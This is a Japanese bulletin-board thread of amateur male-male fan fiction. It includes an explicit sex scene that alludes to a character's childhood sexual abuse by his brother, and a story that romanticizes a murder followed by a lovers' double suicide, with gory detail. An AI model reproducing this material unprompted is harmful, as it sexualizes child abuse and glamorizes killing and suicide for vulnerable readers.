腹筋でもってこすりあげた託生のものはまだイっていない。
手や口でじかに愛撫してやると素直に達するが、挿入された後ろからの刺激ではいくらよがっていてもなかなかイこうとしない。
これもおそらくは『調教』の名残。
年の離れた兄の、ただでさえ大きなもので貫かれて、さんざんかき回されて、幼かった託生は我慢しきれず強制された快感でその兄の腹を濡らしたこともあったはずだ。
その度にどんなにひどく理不尽に苛まれたのかなんて
――想像したくもないが、オレには容易くできてしまう。 <> ふたりの夜は8<>sage<>2006/10/10(火) 00:37:53 ID:t3XNubPx0<> 「タクミ……たくみ」
「ん……ギイ……ギィ…っ」
ゆっくり、ゆったりと大きく腰を回すオレに物足りなくなってきたのか、託生は両足をオレの腰へ絡めてきた。
両手も、さらに深くオレの背中をかき寄せる。
その指の繊細で官能的な動きに、託生がオレのバイオリンなのに、オレが託生に鳴らされそうになった。
たまらず、竿を何度もきつく託生の中へ突き刺す。
「……っ」
「は…、あっ……ギ…ッ」
オレの与える快感に溺れる託生は、無防備で、無垢で、絞め殺してしまいたいくらいだ。
危ういほど、凶暴なくらいにかわいらしい。
やつ――葉山尚人がどうしてこの非常に魅力的な託生に気づかず、むしろ固く封印してしまったのか――
そんなことはべつに知りたくもないが、謎なことはたしかだ。
ともあれオレが託生をやさしさでとろとろに溶かす最初(で最後)の男になれたのは幸運だった。
オレの浅ましい独占欲は託生の過去にすら嫉妬しかねない。
「託生――タクミ、オレのこと、汚せよ」
汚してくれよ。
オレが与える快感に耽って。
オレに愛されてることだけを全身全霊で感じて。
「オレを……汚せよな」
ぐっ、ぐいっと何回も突き上げながら、託生が言葉の意味を理解するまで。
ずっとそう繰り返し囁きつづけた。
やがて泣き声まじりに託生が応える。
「……や、ダメ、っ…よ……ギイ…ッ」
「いいから……いいんだよ」
頼む、託生、早く、オレのこの愛撫だけでイってくれ。
オレの方がそろそろ限界だ。おまえの中があんまり熱くて、きつくて、気持ちヨクて。
「はぁっ……あ、ああっ」
「愛してるよ――愛してるんだよ」 <> ふたりの夜は9<>sage<>2006/10/10(火) 00:39:57 ID:t3XNubPx0<> ベッドのきしみを遠くにぼんやり感じながらがむしゃらに腰を使う。
止められない。
絶頂と紙一重の快感が重く続く。
気が狂いそうだ――
いや、もう狂ってる。
オレをこんなに虜にして、どうするつもりだ……どうしたいんだよ、託生。
教えてくれ、託生――
「愛してる……託生、タクミ……」
ああ。託生――アイシテイル。
「――ギィ――!」
感極まった甘い悲鳴を上げると、託生はオレにひときわきつくしがみついた。
びくびくと全身を震わせる。オレの腹に、噴き上がった熱い液体が飛び散った。
その、何もかもが白く焼き切れる瞬間――
ようやく満足感を得て、オレは託生に二度目の放出を最後の一滴まで絞り取られた。
「……託生、愛してるよ」
「ぼくも、ギイ。ぼくも……だよ」
徐々にゆるやかに弛緩していく託生の体を抱いて、慈しむ口づけを繰り返す。
昔の男が植えつけた閨の習慣など、上書きして全てきれいさっぱり消してやる。
そして託生――オレを愛しているというのなら。
もっと深く、オレに溺れてくれ。
オレがおまえにそうであるように。


いったん体を離して託生にインターバルを与え、さてそろそろ三回戦に臨もうかと思った矢先。
チャイムが鳴って、点呼を告げる館内放送がかかった。
やれやれ。
オレは託生にしていた腕枕を抜くとベッドサイドの照明を点け、上半身を起こした。
ティッシュで手早く腹に散らばった情愛の残滓をぬぐっていると、背後で託生の寝返りを打つ気配がした。
「ごめんね、ギイ」
「かまわないよ。託生は横になってろ。もう寝てるって言っておくから」
「そうじゃなくて……」
オレはベッドに腰かけたまま託生をふりかえった。 <> ふたりの夜は10<>sage<>2006/10/10(火) 00:41:46 ID:t3XNubPx0<> 我に返った託生の、どことなく不安げな――怯えたような表情。
オレはふわりと、可能な限りやさしく微笑みかけた。
「何?」
「あの――それ…」
「……これ?」
ゴミ箱へ放り投げようとしていたティッシュを示すと、託生はこくんと頷いた。
そんな託生の前髪を、空いている手でくしゃりと撫でる。
「ばーか。汚せって言ったの、オレじゃんか」
「ん…。でも――」
愛しい柔らかい頬に指を滑らせて、オレはくすりと笑った。
「汚れたって、穢くなんかないんだよ、こういうのは」
「ギイ…!」
「どしゃ降りの中、真剣にフットボールの試合やってたら泥まみれになるだろ?
そういう汚れを、おまえ、穢いと思うか?」
「ううん」
「それと同じだよ。愛し合ったら、こうなるのは当然の結果なんだからさ」
「ギイ――」
「だからもっと、オレのこと、どろどろにしてくれよ。な?」
「――ギイは、どうして、そんなにぼくのこと……ぼくの気持ち……」
わかってくれるの?
潤んだ双眸がそう訴えている。
どくりと、性懲りのない欲情が波打った。
――この状況下でそんなかわいい顔、するなって。
ジーンズを履いて前を押さえとかないといけないじゃんか。
オレはしかしポーカーフェイスで微笑んで、身をよじったまま託生の上へかがんだ。
その額へとやさしいキスを落とす。
……それはきっと。
それはただ。
オレの愛し方とおまえの愛され方がぴったり重なったからだ。
ふたりともが、求めていた究極の相手だったという――ただ、それだけ。
「ほんと、オレたちって奇跡の恋人同士だよな」
ウインクすると、託生は濃く頬を染めた。 <> ふたりの夜は11<>sage<>2006/10/10(火) 00:43:52 ID:t3XNubPx0<>      ◆ ◆ ◆ ◆

点呼を済ませて戻ってきたオレじはふたたび素っ裸になって託生のベッドへ潜りこんだ。
猿臂を伸ばすと、託生は驚いたようにその手を押しとどめた。
「もう寝るんだろ?」
「何で」
「だって、今夜は早く寝るんだってギイが――」
オレは託生の唇を言葉ごと奪った。
舌を絡める、濃厚な口づけ。
右腕を薄い背中へ回して抱き寄せ、左手で探った託生への入り口は水音をたてた。
「ん――やだ、ギイ」
託生は両腕でオレを突っ撥ねる。
けど暗闇の中、その声が甘く潤んでいるのがわかる。
体だって嫌がってなどいない。
ちゅくちゅくと絶え間なく音をたてながらオレの指を二本とも呑みこんでいる。
オレは強引に託生を懐へ取り戻し、妖しく微笑った。耳朶に熱い吐息を吹きこむ。
「消灯まで、まだ半時間ある」
「ギイ……あ」
とっくに開発済みのポイントを二本の指でこね回すと、託生はぴくんと震えて、おずおずながらしがみついてきた。
その息は早くも浅く弾んでいる。
「しょ、消灯、まで、だよ」
「わかってる」
大丈夫。その頃にはオレしか感じられなくしてやるから。
「ん…」
一方託生は言葉を文字通りに受け取って安心したらしく、無防備に身を任せてきた。
その何気ない仕草がオレを煽ってるってこと、託生には理解できないんだろうな。
それに。
――オレ、メッチャクチャ執念深いんだぞ。
託生。
そろそろ口先だけの相槌に騙されてくれていないで、このオレの性癖に、慣れてくれよな。 <> 風と木の名無しさん<>sage<>2006/10/10(火) 00:45:46 ID:t3XNubPx0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ フウ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/10(火) 01:03:35 ID:iRVzwAgu0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  場皿@少女漫画。クマノの悪たれ二人だってさ。ナチ視点。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  漫画読み返して禿げ萌えたらしいね。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ソノワリニエロナシカヨ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |

<> みかん半分こ1/6<>sage<>2006/10/10(火) 01:04:15 ID:iRVzwAgu0<> 「この、頑固オヤジ! もうええ!!」
遊ぼて言おう思て行ったら、声かける前にひーちゃんの声がした。
ひょー、ひーちゃんもやるやんか。
あんな大声久し振りに聞いたわ。
思わずぼさっとしとったらひーちゃんが飛び出してきた。危なー。避けへんかったらぶつかるとこや。
「ひーちゃん!」
「なんや、なっちゃん。家出てきたんか」
声かけたら、勢いよう振り向いて笑った。さっきまで怒ってたのに、もう笑てる。
家出てきた時は怒っとった。どっちかちゅうと泣いとった。わいには見えてんのや。目ぇはええから。
せやけど言わへん。
「せや。飛び出してきてん」
笑ったら、ひーちゃんがもっと笑った。ほんで、わいの肩を叩いてくる。
痛いて。肩抜けるやんか。
そない言うたら、そんなか弱い肩か、て笑われた。
「ほんま、気ぃ合うな」
楽しそうに笑てる。
ひーちゃんごめんな。ほんまは一個嘘ついてん。わいは別に、家出てきたんとちゃうねん。
せやけど、言わへん。
アジトにして遊んでる所に行ったらみんなすぐ集まってきた。
ひーちゃんは人気者や。
<> みかん半分こ2/6<>sage<>2006/10/10(火) 01:04:45 ID:iRVzwAgu0<> 「リーダーやったらええと思うで」
なにが?
「なっちゃん! われ、寝てんのとちゃうやろな」
ひーちゃんにすごまれた。
どっちかちゅうと呆れてる。
「鯨党に決まらへんかったからて拗ねとんのか」
「何言うてんねん、天狗より鯨のが格好ええやんか」
「あほか、鯨にこだわっとんのはわれだけや」
「ひーちゃんのあほー!」
軽く殴りかかったわいを手で止めて、ほんで、てひーちゃんが言う。
「何の話やったか聞いとったんか」
「いや、知らん」
「ほんまに寝とったんかい!」
あきれ顔で突っこんでくる。
せやけど、ひーちゃんのツッコミはまだまだ甘い。
「わいがこういう時に寝るかい」
「そない言うて、こないだ坊主と遊んじゃった時に寝くさっとったんは誰や!」
「わいや!」
「威張んなあほー!」
串本節三回も歌わされてんぞ、とひーちゃんが言う。そろそろ手か足が出てくる。
<> みかん半分こ3/6<>sage<>2006/10/10(火) 01:05:52 ID:iRVzwAgu0<> 「聖さん!那.智さん!」
誰かが怒鳴った。
止められた。ひーちゃんと遊んでたのに。
笑てるわいに気ぃついて、しゃあないな、ていう顔をひーちゃんがした。ほんで
「なっちゃんがやったらええ、て俺は思う。リーダー」
て言うた。
あかん。
「あかんて。わい、そういう難しいこと苦手や。ひーちゃんがええて」
仕事はするけど、人をまとめたりすんのは、苦手や。そう言うたら、俺やて苦手や、てひーちゃんがどないしようかていう顔をした。
そんなんあかん。
「何言うてん、わいのひーちゃんやでぇ。出来るに決まってる」
ひーちゃんはほんまに、かっこええんや。
わいはちょっとしか見ぇへんけど、ひーちゃんは全部見てるんや。せやから、リーダーはひーちゃんしかおらへん。
後ろから抱きついてそう言うた。
困った顔でひーちゃんが笑た。
「しゃあないな」
その代わりサブリーダーはなっちゃんやで、てひーちゃんが言う。そっちは任しちゃり、て言うたらまた笑た。ひーちゃんはよう笑う。
<> みかん半分こ4/6<>sage<>2006/10/10(火) 01:06:37 ID:iRVzwAgu0<> その後で、これからのいろんな事をいっこずつ決めてった。
さすが、わいのひーちゃんや。
皆がおらんようになってぽつっとひーちゃんが言うた。
「なっちゃん、金の調達何とか出来るか。先立つもんなかったら何もできん」
「任しちゃり任しちゃり。わいは商人やでー。やるときはやるでー」
「何言うてん、神官の息子やんか」
「せやけど」
横で、ちょっと難しい顔してるひーちゃんを覗き込む。
「ひーちゃんがおったら、いっこも怖いことらあれへん」
わいが無茶しすぎたらひーちゃんは絶対に気ぃつく。
怖いもんなんかないて、言うてくれる。
ひーちゃんがまた、ちょっと困った顔になった。
「蜜柑、とってきちゃった。半分こしよ」
懐から一個だけ出したら困った顔がすぐ笑た。蜜柑半分こすんのはひーちゃんとだけやねん。
何かあるときはひーちゃんと半分こする。そしたら、絶対うまくいく。『ジンスク』っちゅーやっちゃな。
ひーちゃんも絶対覚えてる。
せやけどやっぱり、言わへん。
言わいでも、ひーちゃんは分かってる。
<> みかん半分こ5/6<>sage<>2006/10/10(火) 01:07:29 ID:iRVzwAgu0<> しばらくして、タ.タ.ラが来た。
おもろそうやから民.記ちゃん連れて見に行った。タ.タ.ラは毒蛇に襲われても、一瞬も仲間の手を放そとはせえへんかった。
わいは、もしあれがひーちゃんやったら離せへん自信がある。毒蛇もいてもうたる。ひーちゃんはそれくらい自分で殺すやろけど。せやから、離せへん。離さんでもどないもならへん。
けど、それが他の誰かやったら、わいは自分を先にするかもしれん。
て、思た。
タ.タ.ラはそういうんと違うんや。
おもろなってきた。
「ひーちゃん」
タ.タ.ラらが荷物解いてる間ぁに、ひーちゃんとこに行った。
後ろからひっついたら手ぇはたかれた。ほんで、勝手にどっか行ったんを怒られた。
せやけど違うねん。
「ひーちゃん、聞いてぇな」
後ろから揺さぶったらちょっと真剣な目ぇで振り向いた。
「なんや、なっちゃん。どないしたんや」
「あいつ、おもろい」
「タタラか?」
<> みかん半分こ6/6<>sage<>2006/10/10(火) 01:08:22 ID:iRVzwAgu0<> 「せや、味方しちゃろう」
ひーちゃんの目が光る。全部見てる目や。
ほんで、面白そうな顔になる。
「なっちゃんは、味方しちゃりたいんやろ」
坊主と遊んじゃってる時の顔や。わいのいっちゃん好きな顔や。
せやけど絶対、ひーちゃんには言わへん。
「後で、蜜柑持ってくる」
「まだあったんか」
「あったあった。ええのん」
「ほな、後で食べよか」
「ひーちゃんと半分こな」
「よっしゃ、行こか」
ひーちゃんが膝叩いて立ち上がった。
タ.タ.ラと今からちゃんと会う。

その後で蜜柑食べるねん。せやから絶対、うまく行く。
せやけど、ひーちゃんには言うたらへん。

頼てるみたいで格好悪いて、言うやんか。
<> スレ汚ししました<>sage<>2006/10/10(火) 01:09:27 ID:iRVzwAgu0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 勢いで書いた。今も反省はしていない。
 | |                | |     ピッ   (・∀・ ) 二人は心の底で両思いがデフォ。
 | |                | |       ◇⊂    ) クマノ弁と言うより大阪弁なのも軽く無視。__
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

<> 風と木の名無しさん<>sage<>2006/10/10(火) 01:10:17 ID:5CGdRdCn0<> >>247
GJです。このふたり大好きだ。
みかん半分このエピソード大好きだからゴチソウサマでした! <> 風と木の名無しさん<>sage<>2006/10/10(火) 01:11:07 ID:5CGdRdCn0<>  ____________
 | __________  |
 | |                | |
 | | |> PLAY.       | |
 | |                | |           ∧_∧  関西弁×朴念仁、男同士で心中。
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |

※セリフにグロ注意。
<> 1<>sage<>2006/10/10(火) 01:12:07 ID:5CGdRdCn0<> 佐藤竜之助はあても無く車を走らせている。助手席には男が座っていた。
男は知らない男ではなく同じ大学の同じサークルに属している小島行人だった。


「みーつけた」
耳をつんざくクラクションの音の後に、場違いの浮かれた声が聞こえたのは、竜之助がアスフ
ァルトの道をただひたすらに歩いていた時だった。
振り向くと車の窓から身を乗りだして片手を振る小島の姿が見えた。
その姿を確認すると同時に、竜之助は眉をしかめてみせた。
平生からやかましいような男だったが、今日はなおいっそう煩さそうな様子だった。
「隣、乗らへん?」
車を竜之助の前まで移動させた後に、小島は言った。
小島はにこにこと微笑をうかべてただこちらを見ている。
いつもどおりの様子だったが、ただ平生の小島と違って見えた。
自分を見つめる小島の双眸の死んだ魚のそれの様な濁りと、何故か鼻をつく強烈な死臭のせい
だった。
いつもならふざけるなと怒鳴りつけてやるところだったが、竜之助にはそれが気になって黙り
こくっていた。

携帯の着信音が流れたのは、その時だった。

着信、田島正治。
友人の名を確認すると、小島を捨て置いて竜之助は携帯電話を開く。
「もしもし」だの「はい」だのの言葉を竜之助が発する前に、正治は第一声を口にした。
『竜、小島が日名子を殺して、逃げた』
竜之助は正治の言葉に硬直した。携帯の向うで正治は言葉を続ける。
『ガッコにもマスコミの連中が群がって、今ちょっと騒ぎになってる。なあ、日名子、ちょっ
と前まで、お前と小島を二股かけてたよな。お前ヤベエよ。早くどっか安全なところに逃げな
いと、小島、お前のこと次に殺すつもりなんじゃ…』
「どなたはんからー?」
電話の意図を承知しているのだろうか、わざと大きな声を上げて小島が言った。 <> 2<>sage<>2006/10/10(火) 01:12:50 ID:5CGdRdCn0<> 携帯の向こう側にて正治が絶句する様子が手にとって見えた。
『り、竜。その声』
「すまん、また後に電話する」
言って竜之助は携帯を切った。長押ししてもろともに電源も切る。
切った後、竜之助は小島に向かい合った。
「乗ろうよー?」
小島が言った。


小島の車は真新しいAT車だった。
真新しいが余程色々な場所にぶつけたのだろう、外殻がボコボコになっていた。
そのポンコツ具合と人を殺したばかりの小島の精神状態が気になったので、竜之助は助手席を
辞退した。
辞退し、小島を助手席に移動させ、自分がハンドルを握った。

小島の車に乗った理由は、竜之助は自分でもすぐには思い至らなかった。
いったい俺は何をしているのだろうと思考を巡らしながらもただ住宅街の町並みを走らせてい
ると、沈黙の車両を破って小島が口を開いた。
「今日は何のため歩いとったの?」
助手席の小島はダッシュボードへ前のめりに身体を預けてそう言った。
「学生ローン」
「日名子?」
「そうだ」
日名子の名を平静で聞き入れられる自分に奇妙さを感じながら、竜之助は答えた。
伏見日名子はかつて竜之助の恋人だった女だ。ただし竜之助の恋人でありながら、行人の恋人
だった。
早い話が日名子はふたまたをかけていた。では両方共に懸想していたのかと言われれば違うの
である。
日名子は男ふたりの恋心を操り、競わせて、優越感を抱くような女だった。
その対象とされたのが、竜之助と行人なのだった。
「お前こそどこへ行くつもりだったんだ。車で」
それを聞かなければ車を走らせてもどうしようもないとようやく気づき、竜之助は言った。 <> 3<>sage<>2006/10/10(火) 01:14:37 ID:5CGdRdCn0<> 「海がええな」
「なんだって?」
「海が見たい。海行こ」
海となれば1時間どころの騒ぎではない。大分長い間車を走らせる必要がある。
断る事はできた。ハンドルを握っている竜之助にこそ主導権がある。
しかし竜之助はそのまま海へ向かって車を走らせた。
耳に機械音がはしった。窓が開いて風が車内に送り込まれる。
車は風を切って海へと走り出した。


日名子が小島と浮気していることには気づいていた。
気づいたがきっと日名子は言い咎められることは嫌うだろうと思い、竜之助は黙っていた。
漱石は小説の構想メモで「二個の者がsame spaceヲoccupyスル訳には行かぬ」とは言ったが、
この議題に関する前提はその二個が気の知れた友人同士であるという事だった。
竜之助は小島を嫌っていた。
だからもし二人の愛の対象である日名子が二人を許容しても、二人が無事occupyスル事はでき
ないと竜之助は思った。

「日名子の性格な。ホンマは分かっとったけど」
助手席の小島が言った。
「分かってた…?」
「ああ。日名子のこと、分かっとったよ。あいつ、有名やもん。ホンマの悪女やからな。性根
が腐ってんねん」
「分かってて、何故付き合ってたんだ」
対する竜之助が日名子の悪意に気づいたのは、まさに別れの後だった。
キャッシュカードが無いのに気づき、手配をしたが遅かった。
やがてそれは郵便受けから見つかった。残高は0になっていた。
「何なんやろな…」
小島はここではじめて言葉の語尾を濁した。
そして、
「俺、あんたと同じ目にあってみたかっただけなのかも知れへん」
小島は言った。 <> 4<>sage<>2006/10/10(火) 01:15:53 ID:5CGdRdCn0<> 「最初はあんたになったみたいで嬉しかった。あんたになったフリしてわざと不器用に日名子
に優しくして、日名子の言葉にあんたはどう返すのかなとか思いながら、会話続けとった。で
もそないなの最初だけやった。俺に触れる日名子見て、日名子があんたの事こうやって触った
んやろうって思うと、今度は日名子が憎らしくなりよった。簡単な話や。俺がなりたかったの
はあんたやない、日名子や。日名子みたいにあんたに触れたかった。あんたをこの手で好きに
したかったんや。でも俺はあんたを傷つけてしもた。せやからきっとあんたは俺を愛してくれ
へん。そう思ったら、悔しくて悔しくて、仕方が無かった。俺、何て馬鹿な事をしたんやろ。
そう思った。でももう取り返せへん。取り返せへんのや。…そう考えると、日名子が憎く思え
てきた。憎くて憎くて、気づいたら日名子のこと、刺しとった。返り血、体中にべっとりとこ
びりついてた。むせ返るような鉄の臭いの中で、俺、ちーとの間ぼーっとしとったんや。身体
じゅうに風穴めえいっぱい空けて、トマトジュースよりも濃い赤色の血で、ぐちゃぐちゃにな
りよった日名子のカラダ長い間見つめながら、その事実なんども確認して、ある事に思い当た
って、ほんで俺、ようやっと我に返れたんや」

そこまでを一息に言って、小島は言葉を切った。
そして、言った。

「日名子がいなくなりよった。やから、あんた、もしかしたら俺のこと愛してくれるかなと思
って」

おそろしく身勝手な論理が小島の口から流れ出た。
「なあ、俺が、あんたの事好きやったって言ったら信じる?」
「信じる」
竜之助は言った。小島は絶句した。
「俺が日名子と接した理由も、あらかたお前と一緒だ。お互い、日名子を挟んで互いに恋愛を
していたようなものだったな」
竜之助は小島にそう告げた。

これは、まったくの嘘であった。
竜之助は日名子を愛していた。愛し愛しぬいて苦しくなるくらいだった。
それこそ原因は小島とは違うが殺してしまいそうなほど愛していたのだ。
だから、竜之助は日名子から離れた。 <> 5<>sage<>2006/10/10(火) 01:17:08 ID:5CGdRdCn0<> しかし日名子にはそれが気に食わなかったらしい。その報復がキャシュカードの一件だった。
竜之助は逆にそれが嬉しかった。何の執着もなしにただ捨て置かれたのではない。
この損害が彼女の最大の愛の表現であることに気づき竜之助は嬉々とした。
そのような歪んだ愛を感じる事しかできなかった。

それでは、自分に愛していると告げる小島に何故嘘をついてまで喜ばせてやる必要があるのか。
簡単だ。竜之助は小島が憎らしかったのだ。
愛情の欠片もなかったくせに、同じレベルで日名子からの愛を受けとめていた小島が憎らしい。
自分が愛の為に手放せざるを得なかった日名子を、いとも簡単に殺してしまった小島が憎らし
い。
だから嘘をついた。嘘をついて、傷つけたかったのだ。
それを徹底的に仕上げてやろうと竜之助は、小島、と名を呼んで車を止めようとした。
「止めへんで!」
小島は言った。
「止めたら駄目や。止めたら俺たち、終わってしまうわ。やから、どこまでも、それこそ地の
果てまで走っていかないと」
あるいは、小島は竜之助が小島に並みならぬ殺意を覚えていた事に気づいていたのかもしれな
い。だから小島はそう言った。
この現実感の薄い車両の中で、自分の望みどおりの世界を保存していくのが小島の望みなのだ
ろう。
「なあ、佐藤」
「何だ」
「俺の最初で最後の頼み、聞いてくれ」
そこで小島は言葉を切った。
切って、ハンドルを握る竜之助の手に自分のてのひらをかさねた。
竜之助はふいに目玉を動かし助手席の小島を見やる。
こちらへ身を乗り出し、両目をかっぴらいて凝視する小島の顔が間近にあった。
「一緒に、死んで?」
あの死んだ魚のような濁った瞳をして、小島が言った。
「あんたと引き離されるの、嫌や。せっかく近付けたのに離れたくない。このまんまこの一緒
の空間の中で、二人だけの空間の中でみなを終わらせたい。このまんま、二人っきりで、お互
いがお互いのものでいるうちに、消えて無くなってしまいたいんや。」 <> 6<>sage<>2006/10/10(火) 01:18:01 ID:5CGdRdCn0<> 「分かった」
竜之助は短く返事をした。
日名子のいない世界に自分は必要が無いと思った。
あるいはこの男を騙したまま道連れに敵討ちをするのが本懐であると竜之助は思った。
竜之助はしばらく車を走らせる。殺してやりたいほど憎い男と心中する為だった。
全開になった窓から入り込む風が顔に当たる。少しだけ痛い。
「なあ、一緒に死んだら魂は一緒に地獄に落ちることが出来るのかな。同性愛も自殺も地獄行
きやけど、あんたと一緒ならきっと天国と同じようなものだと思うわ」
小島は酒の席での笑い話に自分はカトリック教徒であると吹聴していた。竜之助はそれを思い
出した。
あの時はどうせ嘘なのだろうと思ってはいたが、死に面している今では真実味があると竜之助
は思った。黙りこくって返答しない竜之助の様子を覗き込んで、小島は口を開く。
「なあ、佐藤。怖いか?」
小島が言った。
「怖いことなんて無い」
竜之助が返した。
返した後に、俺は日蓮宗だからキリスト教徒の言う地獄になど落ちないと付け足す。
小島は薄く笑い声を上げた。
笑いながら、仏教徒とキリスト教徒が一緒に死ぬ事は問題ないのやろうかと問うが、そんな事
は些細な問題だろう気にする必要はあるまいと竜之助は返す。
確かにそれ以前の問題やったわと、小島は再度低い笑い声を上げた。

やがて心中の場所が見つかった。
眼前に壊れたガードレールと海へ続く崖が迫っていた。
このまま真っ直ぐ、カーブにてハンドルを切りさえしなければ小島の望みどおりの展開にはな
るだろう。
地平線に潜ろうとしている太陽が最後の輝きを放っていた。
煩いくらい強烈な光だった。
オレンジ色の鋭い刃は、竜之助の双眸を遠慮なしに貫いていく。 <> 7<>sage<>2006/10/10(火) 01:19:09 ID:5CGdRdCn0<> ふいに、竜之助はシートベルトを外しにかかった。
手の指がもつれてうまくいかなかったが、それでも運転を諦めた竜之助には造作も無い事だっ
た。
思いっきりアクセルを踏み抜いた後に、運転席から、助手席の小島のもとへ飛び移る。
小島は一回り大きい竜之助の身体を、両手を広げて受け止めた。
受け止め、抱きしめて、小島は自分に被さった竜之助に唇を近づけ、貪るように口付けした。
唾液の絡む音が車内に響く。舌が絡む。呼吸が重なる。生命の匂いを感じる。

これのどこが敵討ちだ?竜之助は自問した。
敵討ちなら何故この男の身体に飛び込む必要がある?
この男が憎いのではなかったのか。情でもうつったとでも言うのか。

小島は竜之助の疑問など気にしていなかった。
口付けを繰り返しながらがちゃがちゃと音をたてシートベルトを締め直す。
男二人をまとめて助手席に留め、シートベルトは強く彼らを締め付けた。

そうして、青い空の中に、飛び込んだ。

それこそ、ジェットコースターだのフリーフォールだのに乗っているような感覚だった。
重力に浮かれて一瞬だけ二人の顔が離れる。
小島はその顔に、笑っているような、泣いているような、何とも言えない複雑な表情をうかべ
ていた。
おそらく自分も同じような顔をしているのだろうと竜之助は思った。
憎しみも、喪失感も、すべてが消えていたような気がした。
きっといまこの瞬間の竜之助は身体から心まですべてが小島のものになっていたのだろう。

車両は派手な音を立てて海に埋没した。
やがて車両は水に埋もれた。
死臭も生命の臭いも消えた。
二人の生涯も終わった。 <> 8<>sage<>2006/10/10(火) 01:20:18 ID:5CGdRdCn0<>
翌日未明、壊れたガードレールを突き切って転落した車両が発見された。
車両には二人、慶州大学文学部三年生、小島行人、佐藤竜之助の遺体があった。
二人の身体がもろともに助手席にシートベルトでくくりつけられていた事には謎を呼んだが、
むろん、彼らが二人、同意の上での情死をしたのだと考える者はいなかった。

そして、それからの二人が同じ場所にいてそこが天国の様であると感じているかどうかは、
それぞれの神のみぞ知る。

-了-
<> 風と木の名無しさん<>sage<>2006/10/10(火) 01:20:49 ID:5CGdRdCn0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
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 | |                | |       ◇⊂    ) __
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 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
<> 風と木の名無しさん<>sage<>2006/10/10(火) 04:07:16 ID:8E6XIiRz0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  古火田版地図年長組
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  深夜になにやってんだか。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
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 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 1/3<>sage<>2006/10/10(火) 04:08:24 ID:8E6XIiRz0<>
完璧なんて言葉、実際ありえないと知っていた。
だって、じゃなかったら、これだけ一緒にやっててダンスの一つも揃わないこのグループはなんなんだ。
それでもその「完璧」を信じたのは、実行したのは、このメンバーだったから。
(ダンスの一つも揃わないというのに。)
そして計画を立てたのが他でもない彼だったから。

嫌な予感がしたのは、刑事が立っていたからと言うよりも、その横の拓也の顔だった。
だからお前そうやって、すぐに気配で出すの止めろって。
予定外に五人になってから小さく頭をもたげていた不安がどんどん膨らんでくる。
けれど、それでも心は穏やかだった。
覚悟はしていた。
これでいいと思っていた。ただひとつ気にかかるのは、割れてもいない唇に
さっきからずっと仏頂面でリップクリームを塗りたくっているこの男。
・・・怒る、だろうな。
こいつ怒ったら最悪だからな。そう思い、だからもう考えないことにした。
あとは、予定通りにやるだけ。
あのビーズを転がしてきた以上、もう引き返せないことに変わりない。
頭の中で繰り返す。腹は、くくった。 <> 2/3<>sage<>2006/10/10(火) 04:09:23 ID:8E6XIiRz0<>
「なに考えてんの。」
声に振り返る。拓也は椅子をキィキィいわせながら回転させていた。髪が揺れる。
「いや。昨日のケンカ、マジで怖かったな、と思って。」
「ああ、あれ?アカデミー賞モノでしょ。」
破顔した拓也はまたすぐにさっきの仏頂面になった。・・・本当お前の演技は一級品だよ。
「今まで溜めてた分のやなこと発散してみた。」
ああ、なるほど。「多分それは真吾も同じだったんじゃねーの。」言おうとしてやめる。
これだけ長い間一緒にいるのだ。個々に蓄積した日常のストレスなど珍しくない。
個々に処理して、だから一緒にいられる。
それに、蓄積されたのは、ストレスだけじゃない。
椅子を戻して、鏡越しにその顔を見た。相変わらずムカつくほど整った顔立ちだこと。
いつだって比べられてきたよな、と思いだす。
